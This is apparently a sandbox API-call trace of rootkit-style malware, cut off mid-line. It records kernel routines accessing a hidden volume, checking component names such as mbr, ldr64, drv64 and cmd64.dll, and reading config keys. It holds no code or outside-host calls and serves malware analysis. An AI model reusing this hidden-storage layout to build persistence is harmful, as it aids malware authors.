MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.614] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.614] IdePortDispatch () returned 0x103 [0129.615] KeWaitForMutexObject () returned 0x0 [0129.615] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.615] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.615] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.615] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.615] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.615] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.615] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.615] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.615] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.615] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.615] KeLeaveCriticalRegion () [0129.615] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.615] ReleaseMutex (hMutex=0x100) returned 1 [0129.615] Sleep (dwMilliseconds=0x2bf20) [0129.624] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x707498b0, dwHighDateTime=0x1d24fa4)) [0129.624] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.624] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.624] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.624] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.624] KeEnterCriticalRegion () [0129.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.624] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.624] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.624] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.624] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.624] IdePortDispatch () returned 0x103 [0129.625] KeWaitForMutexObject () returned 0x0 [0129.625] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.625] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.625] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.625] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.625] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.625] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02a10 [0129.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.625] KeLeaveCriticalRegion () [0129.625] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.625] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.625] KeEnterCriticalRegion () [0129.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.625] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.625] KeLeaveCriticalRegion () [0129.625] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.625] KeEnterCriticalRegion () [0129.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.625] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.625] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.625] IdePortDispatch () returned 0x103 [0129.625] KeWaitForMutexObject () returned 0x0 [0129.625] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.625] KeLeaveCriticalRegion () [0129.626] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.626] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.626] KeEnterCriticalRegion () [0129.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.626] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c26000 [0129.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.626] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.626] IdePortDispatch () returned 0x103 [0129.626] KeWaitForMutexObject () returned 0x0 [0129.626] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.626] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.626] IdePortDispatch () returned 0x103 [0129.626] KeWaitForMutexObject () returned 0x0 [0129.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.626] KeLeaveCriticalRegion () [0129.626] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.627] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.627] KeEnterCriticalRegion () [0129.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.627] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.627] KeLeaveCriticalRegion () [0129.627] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.627] KeEnterCriticalRegion () [0129.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.627] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.627] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.627] KeLeaveCriticalRegion () [0129.627] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.627] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.627] KeEnterCriticalRegion () [0129.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.627] ExFreePoolWithTag (P=0xfffffa8003c02a10, Tag=0x0) [0129.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.627] KeLeaveCriticalRegion () [0129.627] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.627] ReleaseMutex (hMutex=0xf0) returned 1 [0129.627] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.627] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.628] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.628] KeEnterCriticalRegion () [0129.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.628] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.628] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.628] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.628] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.628] IdePortDispatch () returned 0x103 [0129.628] KeWaitForMutexObject () returned 0x0 [0129.628] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.628] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.628] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.628] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.628] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.628] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05ab0 [0129.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.628] KeLeaveCriticalRegion () [0129.628] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.628] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.628] KeEnterCriticalRegion () [0129.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.628] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.628] KeLeaveCriticalRegion () [0129.628] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.628] KeEnterCriticalRegion () [0129.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.628] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.628] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.628] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.628] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.628] IdePortDispatch () returned 0x103 [0129.629] KeWaitForMutexObject () returned 0x0 [0129.629] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.629] KeLeaveCriticalRegion () [0129.629] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.629] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.629] KeEnterCriticalRegion () [0129.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.629] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c27000 [0129.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.629] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.629] IdePortDispatch () returned 0x103 [0129.629] KeWaitForMutexObject () returned 0x0 [0129.629] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.629] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.629] IdePortDispatch () returned 0x103 [0129.629] KeWaitForMutexObject () returned 0x0 [0129.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.630] KeLeaveCriticalRegion () [0129.630] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.630] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.630] KeEnterCriticalRegion () [0129.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.630] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.630] KeLeaveCriticalRegion () [0129.630] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.630] KeEnterCriticalRegion () [0129.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.630] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.630] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.630] KeLeaveCriticalRegion () [0129.630] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.630] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.630] KeEnterCriticalRegion () [0129.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.630] ExFreePoolWithTag (P=0xfffffa8003c05ab0, Tag=0x0) [0129.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.630] KeLeaveCriticalRegion () [0129.630] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.631] ReleaseMutex (hMutex=0xf0) returned 1 [0129.631] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.631] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.631] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.631] KeEnterCriticalRegion () [0129.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.631] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.631] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.631] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.631] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.631] IdePortDispatch () returned 0x103 [0129.631] KeWaitForMutexObject () returned 0x0 [0129.631] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.631] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.631] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.631] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.631] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.631] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05070 [0129.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.631] KeLeaveCriticalRegion () [0129.631] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.631] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.631] KeEnterCriticalRegion () [0129.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.631] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.631] KeLeaveCriticalRegion () [0129.631] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.631] KeEnterCriticalRegion () [0129.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.631] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.632] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.632] IdePortDispatch () returned 0x103 [0129.632] KeWaitForMutexObject () returned 0x0 [0129.632] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.632] KeLeaveCriticalRegion () [0129.632] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.632] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.632] KeEnterCriticalRegion () [0129.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.632] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c28000 [0129.632] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.632] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.632] IdePortDispatch () returned 0x103 [0129.632] KeWaitForMutexObject () returned 0x0 [0129.632] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.632] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.632] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.632] IdePortDispatch () returned 0x103 [0129.633] KeWaitForMutexObject () returned 0x0 [0129.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.633] KeLeaveCriticalRegion () [0129.633] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.633] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.633] KeEnterCriticalRegion () [0129.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.633] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.633] KeLeaveCriticalRegion () [0129.633] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.633] KeEnterCriticalRegion () [0129.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.633] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.633] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c066f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.634] KeLeaveCriticalRegion () [0129.634] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.634] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.634] KeEnterCriticalRegion () [0129.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.634] ExFreePoolWithTag (P=0xfffffa8003c05070, Tag=0x0) [0129.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.634] KeLeaveCriticalRegion () [0129.634] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.634] ReleaseMutex (hMutex=0xf0) returned 1 [0129.634] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.634] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.634] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.634] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: 